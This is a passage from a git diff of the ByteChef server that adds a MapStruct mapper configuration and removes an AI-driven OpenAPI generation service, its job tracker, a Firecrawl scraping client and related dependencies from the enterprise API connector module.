+        @Mapping(target = "definition", ignore = true)
+        @Mapping(target = "specification", ignore = true)
+        ApiConnector invertConvert(ApiConnectorModel apiConnectorModel);
+    }
+
+    @Mapper(config = EePlatformApiConnectorConfigurationMapperSpringConfig.class)
+    public interface ApiConnectorDTOToApiConnectorModelMapper extends Converter<ApiConnectorDTO, ApiConnectorModel> {
+
+        @Override
+        @Mapping(target = "tags", ignore = true)
+        ApiConnectorModel convert(ApiConnectorDTO apiConnectorDTO);
+
+        @InheritInverseConfiguration
+        @DelegatingConverter
+        ApiConnectorDTO invertConvert(ApiConnectorModel apiConnectorModel);
+    }
+}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/mapper/config/EePlatformApiConnectorConfigurationMapperSpringConfig.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/mapper/config/EePlatformApiConnectorConfigurationMapperSpringConfig.java
new file mode 100644
index 00000000000..be33f1ec810
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/mapper/config/EePlatformApiConnectorConfigurationMapperSpringConfig.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the ByteChef Enterprise license (the "Enterprise License");
+ * you may not use this file except in compliance with the Enterprise License.
+ */
+
+package com.bytechef.ee.platform.apiconnector.configuration.web.rest.mapper.config;
+
+import com.bytechef.ee.platform.apiconnector.configuration.web.rest.adapter.EePlatformApiConnectorConfigurationConversionServiceAdapter;
+import com.bytechef.web.rest.mapper.DateTimeMapper;
+import org.mapstruct.MapperConfig;
+import org.mapstruct.extensions.spring.SpringMapperConfig;
+
+/**
+ * @version ee
+ *
+ * @author Ivica Cardic
+ */
+@MapperConfig(componentModel = "spring", uses = {
+    DateTimeMapper.class, EePlatformApiConnectorConfigurationConversionServiceAdapter.class
+})
+@SpringMapperConfig(
+    conversionServiceAdapterPackage = "com.bytechef.ee.platform.apiconnector.configuration.web.rest.adapter",
+    conversionServiceAdapterClassName = "EePlatformApiConnectorConfigurationConversionServiceAdapter")
+public interface EePlatformApiConnectorConfigurationMapperSpringConfig {
+}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/build.gradle.kts b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/build.gradle.kts
index d9278bdd6e3..6a186f23a77 100644
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/build.gradle.kts
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/build.gradle.kts
@@ -1,9 +1,5 @@
 dependencies {
     implementation("org.apache.commons:commons-lang3")
-    implementation("org.jsoup:jsoup:1.18.1")
-    implementation("org.springframework.ai:spring-ai-client-chat")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation("org.yaml:snakeyaml")
     implementation(libs.io.swagger.parser.v3.swagger.parser)
     implementation("org.springframework:spring-context")
     implementation("org.springframework:spring-tx")
@@ -16,8 +12,6 @@ dependencies {
     implementation(project(":server:ee:libs:platform:platform-api-connector:platform-api-connector-file-storage:platform-api-connector-file-storage-api"))
 
 
-    implementation("org.springframework.data:spring-data-jdbc")
-
     testImplementation("org.springframework.data:spring-data-jdbc")
     testImplementation(project(":server:libs:config:liquibase-config"))
     testImplementation(project(":server:libs:test:test-int-support"))
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/config/PlatformApiConnectorJdbcRepositoryConfiguration.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/config/PlatformApiConnectorJdbcRepositoryConfiguration.java
deleted file mode 100644
index d305e3a7ace..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/config/PlatformApiConnectorJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.ee.platform.apiconnector.configuration.repository")
-class PlatformApiConnectorJdbcRepositoryConfiguration {
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/facade/ApiConnectorFacadeImpl.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/facade/ApiConnectorFacadeImpl.java
index c8197dcc426..9ff6e9a54fa 100644
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/facade/ApiConnectorFacadeImpl.java
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/facade/ApiConnectorFacadeImpl.java
@@ -14,7 +14,6 @@
 import com.bytechef.ee.platform.apiconnector.configuration.dto.ApiConnectorDTO;
 import com.bytechef.ee.platform.apiconnector.configuration.exception.ApiConnectorErrorType;
 import com.bytechef.ee.platform.apiconnector.configuration.generator.OpenApiGenerator;
-import com.bytechef.ee.platform.apiconnector.configuration.service.ApiConnectorAiService;
 import com.bytechef.ee.platform.apiconnector.configuration.service.ApiConnectorService;
 import com.bytechef.exception.ConfigurationException;
 import com.bytechef.platform.annotation.ConditionalOnEEVersion;
@@ -27,17 +26,13 @@
 import io.swagger.v3.oas.models.info.Info;
 import io.swagger.v3.parser.core.models.SwaggerParseResult;
 import java.io.IOException;
-import java.nio.charset.StandardCharsets;
 import java.nio.file.Files;
 import java.nio.file.Path;
-import java.security.MessageDigest;
-import java.security.NoSuchAlgorithmException;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 import java.util.stream.Collectors;
 import org.apache.commons.lang3.StringUtils;
-import org.springframework.lang.Nullable;
 import org.springframework.stereotype.Service;
 import org.springframework.transaction.annotation.Transactional;
 
@@ -51,34 +46,17 @@
 @ConditionalOnEEVersion
 public class ApiConnectorFacadeImpl implements ApiConnectorFacade {
 
-    private final ApiConnectorAiService apiConnectorAiService;
     private final ApiConnectorFileStorage apiConnectorFileStorage;
     private final ApiConnectorService apiConnectorService;
 
     @SuppressFBWarnings("EI")
     public ApiConnectorFacadeImpl(
-        @Nullable ApiConnectorAiService apiConnectorAiService,
-        ApiConnectorFileStorage apiConnectorFileStorage,
-        ApiConnectorService apiConnectorService) {
+        ApiConnectorFileStorage apiConnectorFileStorage, ApiConnectorService apiConnectorService) {
 
-        this.apiConnectorAiService = apiConnectorAiService;
         this.apiConnectorFileStorage = apiConnectorFileStorage;
         this.apiConnectorService = apiConnectorService;
     }
 
-    @Override
-    public ApiConnector generateFromDocumentation(String name, String documentationUrl) {
-        if (apiConnectorAiService == null) {
-            throw new ConfigurationException(
-                "AI service is not configured. Please configure bytechef.ai.copilot settings.",
-                ApiConnectorErrorType.INVALID_API_CONNECTOR_DEFINITION);
-        }
-
-        String specification = apiConnectorAiService.generateOpenApiSpecification(documentationUrl);
-
-        return importOpenApiSpecification(name, specification);
-    }
-
     @Override
     public ApiConnector importOpenApiSpecification(String name, String specification) {
         name = convertComponentName(name);
@@ -164,56 +142,41 @@ private ApiConnectorDTO toApiConnectorDTO(ApiConnector apiConnector) {
                 if (pathItem.getDelete() != null) {
                     Operation operation = pathItem.getDelete();
 
-                    ApiConnectorEndpoint endpoint = new ApiConnectorEndpoint(
-                        path, operation.getOperationId(), operation.getDescription(), HttpMethod.DELETE);
-
-                    endpoint.setId(generateEndpointId(path, HttpMethod.DELETE));
-
-                    curEndpoints.add(endpoint);
+                    curEndpoints.add(
+                        new ApiConnectorEndpoint(
+                            path, operation.getOperationId(), operation.getDescription(), HttpMethod.DELETE));
                 }
 
                 if (pathItem.getGet() != null) {
                     Operation operation = pathItem.getGet();
 
-                    ApiConnectorEndpoint endpoint = new ApiConnectorEndpoint(
-                        path, operation.getOperationId(), operation.getDescription(), HttpMethod.GET);
-
-                    endpoint.setId(generateEndpointId(path, HttpMethod.GET));
-
-                    curEndpoints.add(endpoint);
+                    curEndpoints.add(
+                        new ApiConnectorEndpoint(
+                            path, operation.getOperationId(), operation.getDescription(), HttpMethod.GET));
                 }
 
                 if (pathItem.getPatch() != null) {
                     Operation operation = pathItem.getPatch();
 
-                    ApiConnectorEndpoint endpoint = new ApiConnectorEndpoint(
-                        path, operation.getOperationId(), operation.getDescription(), HttpMethod.PATCH);
-
-                    endpoint.setId(generateEndpointId(path, HttpMethod.PATCH));
-
-                    curEndpoints.add(endpoint);
+                    curEndpoints.add(
+                        new ApiConnectorEndpoint(
+                            path, operation.getOperationId(), operation.getDescription(), HttpMethod.PATCH));
                 }
 
                 if (pathItem.getPost() != null) {
                     Operation operation = pathItem.getPost();
 
-                    ApiConnectorEndpoint endpoint = new ApiConnectorEndpoint(
-                        path, operation.getOperationId(), operation.getDescription(), HttpMethod.POST);
-
-                    endpoint.setId(generateEndpointId(path, HttpMethod.POST));
-
-                    curEndpoints.add(endpoint);
+                    curEndpoints.add(
+                        new ApiConnectorEndpoint(
+                            path, operation.getOperationId(), operation.getDescription(), HttpMethod.POST));
                 }
 
                 if (pathItem.getPut() != null) {
                     Operation operation = pathItem.getPut();
 
-                    ApiConnectorEndpoint endpoint = new ApiConnectorEndpoint(
-                        path, operation.getOperationId(), operation.getDescription(), HttpMethod.PUT);
-
-                    endpoint.setId(generateEndpointId(path, HttpMethod.PUT));
-
-                    curEndpoints.add(endpoint);
+                    curEndpoints.add(
+                        new ApiConnectorEndpoint(
+                            path, operation.getOperationId(), operation.getDescription(), HttpMethod.PUT));
                 }
 
                 return CollectionUtils.stream(curEndpoints);
@@ -225,26 +188,6 @@ private ApiConnectorDTO toApiConnectorDTO(ApiConnector apiConnector) {
             specification, endpoints);
     }
 
-    private static long generateEndpointId(String path, HttpMethod httpMethod) {
-        String combined = path + ":" + httpMethod.name();
-
-        try {
-            MessageDigest digest = MessageDigest.getInstance("SHA-256");
-            byte[] hashBytes = digest.digest(combined.getBytes(StandardCharsets.UTF_8));
-
-            // Use first 8 bytes of SHA-256 hash for a long value with very low collision probability
-            long result = 0;
-
-            for (int i = 0; i < 8; i++) {
-                result = (result << 8) | (hashBytes[i] & 0xFF);
-            }
-
-            return Math.abs(result);
-        } catch (NoSuchAlgorithmException exception) {
-            throw new RuntimeException("SHA-256 algorithm not available", exception);
-        }
-    }
-
     private static String convertComponentName(String componentName) {
         componentName = StringUtils.trim(componentName);
 
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/ApiConnectorAiServiceImpl.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/ApiConnectorAiServiceImpl.java
deleted file mode 100644
index f65a0706dc9..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/ApiConnectorAiServiceImpl.java
+++ /dev/null
@@ -1,206 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.service;
-
-import com.bytechef.ee.platform.apiconnector.configuration.exception.ApiConnectorErrorType;
-import com.bytechef.exception.ConfigurationException;
-import com.bytechef.platform.annotation.ConditionalOnEEVersion;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.io.IOException;
-import java.net.URI;
-import java.net.http.HttpClient;
-import java.net.http.HttpRequest;
-import java.net.http.HttpResponse;
-import java.time.Duration;
-import org.jsoup.Jsoup;
-import org.jsoup.nodes.Document;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.ai.chat.model.ChatModel;
-import org.springframework.ai.chat.prompt.Prompt;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.scheduling.annotation.Async;
-import org.springframework.stereotype.Service;
-
-/**
- * Implementation of ApiConnectorAiService that uses Spring AI to generate OpenAPI specifications from API
- * documentation.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Service
-@ConditionalOnEEVersion
-@ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "enabled", havingValue = "true")
-@SuppressFBWarnings("VA_FORMAT_STRING_USES_NEWLINE")
-public class ApiConnectorAiServiceImpl implements ApiConnectorAiService {
-
-    private static final Logger logger = LoggerFactory.getLogger(ApiConnectorAiServiceImpl.class);
-
-    private static final String SYSTEM_PROMPT =
-        """
-            You are an expert at analyzing API documentation and generating OpenAPI 3.0 specifications.
-
-            Given the content of an API documentation page, analyze it and generate a valid OpenAPI 3.0 specification in YAML format.
-
-            Guidelines:
-            1. Extract all API endpoints, their HTTP methods, paths, parameters, request bodies, and responses
-            2. Include proper descriptions for each endpoint
-            3. Define appropriate schemas for request and response bodies
-            4. Include authentication requirements if mentioned
-            5. Set appropriate content types (usually application/json)
-            6. Generate meaningful operationIds based on the endpoint purpose
-            7. Include servers array with the base URL if available
-
-            IMPORTANT: Return ONLY the OpenAPI specification in YAML format, without any markdown code blocks or explanations.
-            The output should start with 'openapi: "3.0.0"' or 'openapi: "3.0.1"'.
-            """;
-
-    private final ApiConnectorGenerationJobService apiConnectorGenerationJobService;
-    private final ChatModel chatModel;
-    private final HttpClient httpClient;
-
-    @SuppressFBWarnings("EI")
-    public ApiConnectorAiServiceImpl(
-        ApiConnectorGenerationJobService apiConnectorGenerationJobService, ChatModel chatModel) {
-
-        this.apiConnectorGenerationJobService = apiConnectorGenerationJobService;
-        this.chatModel = chatModel;
-        this.httpClient = HttpClient.newBuilder()
-            .connectTimeout(Duration.ofSeconds(30))
-            .followRedirects(HttpClient.Redirect.NORMAL)
-            .build();
-    }
-
-    @Override
-    public String generateOpenApiSpecification(String documentationUrl) {
-        String documentationContent = fetchDocumentation(documentationUrl);
-
-        String userPrompt = String.format(
-            "Analyze the following API documentation and generate an OpenAPI 3.0 specification:\n\n%s",
-            documentationContent);
-
-        Prompt prompt = new Prompt(SYSTEM_PROMPT + "\n\nUser: " + userPrompt);
-
-        String response = chatModel.call(prompt)
-            .getResult()
-            .getOutput()
-            .getText();
-
-        return cleanOpenApiResponse(response);
-    }
-
-    private String fetchDocumentation(String documentationUrl) {
-        try {
-            HttpRequest request = HttpRequest.newBuilder()
-                .uri(URI.create(documentationUrl))
-                .timeout(Duration.ofSeconds(30))
-                .header("User-Agent", "ByteChef API Connector Generator")
-                .header("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
-                .GET()
-                .build();
-
-            HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
-
-            if (response.statusCode() != 200) {
-                throw new ConfigurationException(
-                    "Failed to fetch documentation: HTTP " + response.statusCode(),
-                    ApiConnectorErrorType.INVALID_API_CONNECTOR_DEFINITION);
-            }
-
-            Document document = Jsoup.parse(response.body());
-
-            document.select("script, style, nav, footer, header, aside")
-                .remove();
-
-            return document.body()
-                .text();
-        } catch (IOException | InterruptedException e) {
-            if (e instanceof InterruptedException) {
-                Thread.currentThread()
-                    .interrupt();
-            }
-
-            throw new ConfigurationException(
-                "Failed to fetch documentation: " + e.getMessage(),
-                ApiConnectorErrorType.INVALID_API_CONNECTOR_DEFINITION);
-        }
-    }
-
-    private String cleanOpenApiResponse(String response) {
-        String cleaned = response.trim();
-
-        if (cleaned.startsWith("```yaml")) {
-            cleaned = cleaned.substring(7);
-        } else if (cleaned.startsWith("```")) {
-            cleaned = cleaned.substring(3);
-        }
-
-        if (cleaned.endsWith("```")) {
-            cleaned = cleaned.substring(0, cleaned.length() - 3);
-        }
-
-        return cleaned.trim();
-    }
-
-    @Override
-    @Async
-    public void generateOpenApiSpecificationAsync(String jobId, String documentationUrl, String userInstructions) {
-        logger.debug("Starting async OpenAPI generation for job {}", jobId);
-
-        apiConnectorGenerationJobService.markAsProcessing(jobId);
-
-        try {
-            if (apiConnectorGenerationJobService.isCancellationRequested(jobId)) {
-                logger.debug("Job {} was cancelled before processing started", jobId);
-
-                return;
-            }
-
-            String documentationContent = fetchDocumentation(documentationUrl);
-
-            if (apiConnectorGenerationJobService.isCancellationRequested(jobId)) {
-                logger.debug("Job {} was cancelled after fetching documentation", jobId);
-
-                return;
-            }
-
-            String promptMessage = String.format(
-                "Analyze the following API documentation and generate an OpenAPI 3.0 specification:\n\n%s",
-                documentationContent);
-
-            if (userInstructions != null && !userInstructions.isBlank()) {
-                promptMessage = promptMessage + "\n\nUser instructions:\n" + userInstructions;
-            }
-
-            Prompt prompt = new Prompt(SYSTEM_PROMPT + "\n\nUser: " + promptMessage);
-
-            String response = chatModel.call(prompt)
-                .getResult()
-                .getOutput()
-                .getText();
-
-            if (apiConnectorGenerationJobService.isCancellationRequested(jobId)) {
-                logger.debug("Job {} was cancelled after AI generation", jobId);
-
-                return;
-            }
-
-            String specification = cleanOpenApiResponse(response);
-
-            apiConnectorGenerationJobService.markAsCompleted(jobId, specification);
-
-            logger.debug("Job {} completed successfully", jobId);
-        } catch (Exception exception) {
-            logger.error("Job {} failed", jobId, exception);
-
-            apiConnectorGenerationJobService.markAsFailed(jobId, exception.getMessage());
-        }
-    }
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/ApiConnectorGenerationJobServiceImpl.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/ApiConnectorGenerationJobServiceImpl.java
deleted file mode 100644
index f91c507f394..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/ApiConnectorGenerationJobServiceImpl.java
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.service;
-
-import com.bytechef.ee.platform.apiconnector.configuration.domain.ApiConnectorGenerationJob;
-import com.bytechef.ee.platform.apiconnector.configuration.domain.ApiConnectorGenerationJob.Status;
-import com.bytechef.platform.annotation.ConditionalOnEEVersion;
-import java.time.LocalDateTime;
-import java.util.Map;
-import java.util.Optional;
-import java.util.UUID;
-import java.util.concurrent.ConcurrentHashMap;
-import org.springframework.scheduling.annotation.Scheduled;
-import org.springframework.stereotype.Service;
-
-/**
- * Implementation of ApiConnectorGenerationJobService using in-memory storage.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Service
-@ConditionalOnEEVersion
-public class ApiConnectorGenerationJobServiceImpl implements ApiConnectorGenerationJobService {
-
-    private static final int JOB_RETENTION_MINUTES = 5;
-
-    private final Map<String, ApiConnectorGenerationJob> jobs = new ConcurrentHashMap<>();
-
-    @Override
-    public ApiConnectorGenerationJob create(String documentationUrl) {
-        String jobId = UUID.randomUUID()
-            .toString();
-
-        ApiConnectorGenerationJob job = new ApiConnectorGenerationJob(jobId, documentationUrl);
-
-        jobs.put(jobId, job);
-
-        return job;
-    }
-
-    @Override
-    public Optional<ApiConnectorGenerationJob> get(String jobId) {
-        return Optional.ofNullable(jobs.get(jobId));
-    }
-
-    @Override
-    public void markAsProcessing(String jobId) {
-        ApiConnectorGenerationJob job = jobs.get(jobId);
-
-        if (job != null) {
-            job.setStatus(Status.PROCESSING);
-        }
-    }
-
-    @Override
-    public void markAsCompleted(String jobId, String specification) {
-        ApiConnectorGenerationJob job = jobs.get(jobId);
-
-        if (job != null) {
-            job.setStatus(Status.COMPLETED);
-            job.setSpecification(specification);
-        }
-    }
-
-    @Override
-    public void markAsFailed(String jobId, String errorMessage) {
-        ApiConnectorGenerationJob job = jobs.get(jobId);
-
-        if (job != null) {
-            job.setStatus(Status.FAILED);
-            job.setErrorMessage(errorMessage);
-        }
-    }
-
-    @Override
-    public boolean requestCancellation(String jobId) {
-        ApiConnectorGenerationJob job = jobs.get(jobId);
-
-        if (job != null) {
-            job.setCancellationRequested(true);
-            job.setStatus(Status.CANCELLED);
-
-            return true;
-        }
-
-        return false;
-    }
-
-    @Override
-    public boolean isCancellationRequested(String jobId) {
-        ApiConnectorGenerationJob job = jobs.get(jobId);
-
-        return job != null && job.isCancellationRequested();
-    }
-
-    @Scheduled(fixedRate = 60000)
-    void cleanupOldJobs() {
-        LocalDateTime cutoffTime = LocalDateTime.now()
-            .minusMinutes(JOB_RETENTION_MINUTES);
-
-        jobs.entrySet()
-            .removeIf(entry -> {
-                ApiConnectorGenerationJob job = entry.getValue();
-                LocalDateTime completedDate = job.getCompletedDate();
-
-                return completedDate != null && completedDate.isBefore(cutoffTime);
-            });
-    }
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/FirecrawlWebScrapeService.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/FirecrawlWebScrapeService.java
deleted file mode 100644
index adf9b4348ac..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-service/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/FirecrawlWebScrapeService.java
+++ /dev/null
@@ -1,224 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.service;
-
-import com.bytechef.platform.annotation.ConditionalOnEEVersion;
-import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectMapper;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.io.IOException;
-import java.net.URI;
-import java.net.http.HttpClient;
-import java.net.http.HttpRequest;
-import java.net.http.HttpResponse;
-import java.time.Duration;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.beans.factory.annotation.Value;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.stereotype.Service;
-
-/**
- * Firecrawl-based implementation of WebScrapeService. Primary scraping service when Firecrawl is enabled.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Service("firecrawlWebScrapeService")
-@ConditionalOnEEVersion
-@ConditionalOnProperty(name = "bytechef.ai.api-connector.scrape.firecrawl.enabled", havingValue = "true")
-public class FirecrawlWebScrapeService implements WebScrapeService {
-
-    private static final Logger logger = LoggerFactory.getLogger(FirecrawlWebScrapeService.class);
-
-    private static final int DEFAULT_TIMEOUT_SECONDS = 60;
-    private static final int POLL_INTERVAL_MS = 2000;
-    private static final int MAX_POLL_ATTEMPTS = 60;
-
-    private final String apiKey;
-    private final String baseUrl;
-    private final HttpClient httpClient;
-    private final ObjectMapper objectMapper;
-
-    @SuppressFBWarnings("EI")
-    public FirecrawlWebScrapeService(
-        @Value("${bytechef.ai.api-connector.scrape.firecrawl.api-key:}") String apiKey,
-        @Value("${bytechef.ai.api-connector.scrape.firecrawl.base-url:https://api.firecrawl.dev}") String baseUrl,
-        ObjectMapper objectMapper) {
-
-        this.apiKey = apiKey;
-        this.baseUrl = baseUrl;
-        this.objectMapper = objectMapper;
-        this.httpClient = HttpClient.newBuilder()
-            .connectTimeout(Duration.ofSeconds(DEFAULT_TIMEOUT_SECONDS))
-            .followRedirects(HttpClient.Redirect.NORMAL)
-            .build();
-    }
-
-    @Override
-    public ScrapeResult scrape(String url) {
-        try {
-            Map<String, Object> requestBody = new HashMap<>();
-
-            requestBody.put("url", url);
-            requestBody.put("formats", List.of("markdown"));
-
-            String responseBody = sendRequest("/v1/scrape", requestBody);
-
-            JsonNode response = objectMapper.readTree(responseBody);
-
-            if (response.has("success") && response.get("success")
-                .asBoolean()) {
-
-                String content = response.path("data")
-                    .path("markdown")
-                    .asText("");
-
-                return ScrapeResult.success(content);
-            } else {
-                String error = response.path("error")
-                    .asText("Unknown error");
-
-                return ScrapeResult.failure(error);
-            }
-        } catch (Exception exception) {
-            logger.error("Failed to scrape URL via Firecrawl: {}", url, exception);
-
-            return ScrapeResult.failure(exception.getMessage());
-        }
-    }
-
-    @Override
-    public CrawlResult crawl(String url, int maxPages, List<String> includePatterns) {
-        try {
-            Map<String, Object> requestBody = new HashMap<>();
-
-            requestBody.put("url", url);
-            requestBody.put("limit", maxPages > 0 ? maxPages : 10);
-
-            if (includePatterns != null && !includePatterns.isEmpty()) {
-                requestBody.put("includePaths", includePatterns);
-            }
-
-            String responseBody = sendRequest("/v1/crawl", requestBody);
-
-            JsonNode response = objectMapper.readTree(responseBody);
-
-            if (!response.has("id")) {
-                String error = response.path("error")
-                    .asText("Failed to start crawl");
-
-                return CrawlResult.failure(error);
-            }
-
-            String crawlId = response.get("id")
-                .asText();
-
-            return pollCrawlStatus(crawlId);
-        } catch (Exception exception) {
-            logger.error("Failed to crawl URL via Firecrawl: {}", url, exception);
-
-            return CrawlResult.failure(exception.getMessage());
-        }
-    }
-
-    @Override
-    public String getProviderName() {
-        return "firecrawl";
-    }
-
-    /**
-     * Polls the Firecrawl API for crawl status until completion or timeout.
-     *
-     * <p>
-     * <strong>Note:</strong> This method uses Thread.sleep() for polling intervals and may block for up to 2 minutes
-     * (MAX_POLL_ATTEMPTS * POLL_INTERVAL_MS). It should only be called from async/background threads, not from web
-     * request threads. The calling code in {@link ApiConnectorAiService} runs this in an async context.
-     */
-    private CrawlResult pollCrawlStatus(String crawlId) throws IOException, InterruptedException {
-        for (int attempt = 0; attempt < MAX_POLL_ATTEMPTS; attempt++) {
-            HttpRequest request = HttpRequest.newBuilder()
-                .uri(URI.create(baseUrl + "/v1/crawl/" + crawlId))
-                .header("Authorization", "Bearer " + apiKey)
-                .header("Content-Type", "application/json")
-                .GET()
-                .build();
-
-            HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
-
-            JsonNode statusResponse = objectMapper.readTree(response.body());
-
-            String status = statusResponse.path("status")
-                .asText();
-
-            if ("completed".equals(status)) {
-                List<String> crawledUrls = new ArrayList<>();
-                StringBuilder combinedContent = new StringBuilder();
-
-                JsonNode dataArray = statusResponse.path("data");
-
-                if (dataArray.isArray()) {
-                    for (JsonNode item : dataArray) {
-                        String pageUrl = item.path("metadata")
-                            .path("sourceURL")
-                            .asText("");
-                        String markdown = item.path("markdown")
-                            .asText("");
-
-                        if (!pageUrl.isEmpty()) {
-                            crawledUrls.add(pageUrl);
-                        }
-
-                        if (!markdown.isEmpty()) {
-                            combinedContent.append("\n\n--- Page: ")
-                                .append(pageUrl)
-                                .append(" ---\n\n")
-                                .append(markdown);
-                        }
-                    }
-                }
-
-                return CrawlResult.success(combinedContent.toString(), crawledUrls);
-            } else if ("failed".equals(status)) {
-                String error = statusResponse.path("error")
-                    .asText("Crawl failed");
-
-                return CrawlResult.failure(error);
-            }
-
-            Thread.sleep(POLL_INTERVAL_MS);
-        }
-
-        return CrawlResult.failure("Crawl timed out");
-    }
-
-    private String sendRequest(String endpoint, Map<String, Object> requestBody)
-        throws IOException, InterruptedException {
-        String jsonBody = objectMapper.writeValueAsString(requestBody);
-
-        HttpRequest request = HttpRequest.newBuilder()
-            .uri(URI.create(baseUrl + endpoint))
-            .header("Authorization", "Bearer " + apiKey)
-            .header("Content-Type", "application/json")
-            .POST(HttpRequest.BodyPublishers.ofString(jsonBody))
-            .build();
-
-        HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
-
-        if (response.statusCode() >= 400) {
-            throw new IOException("Firecrawl API error: HTTP " + response.statusCode() + " - " + response.body());
-        }
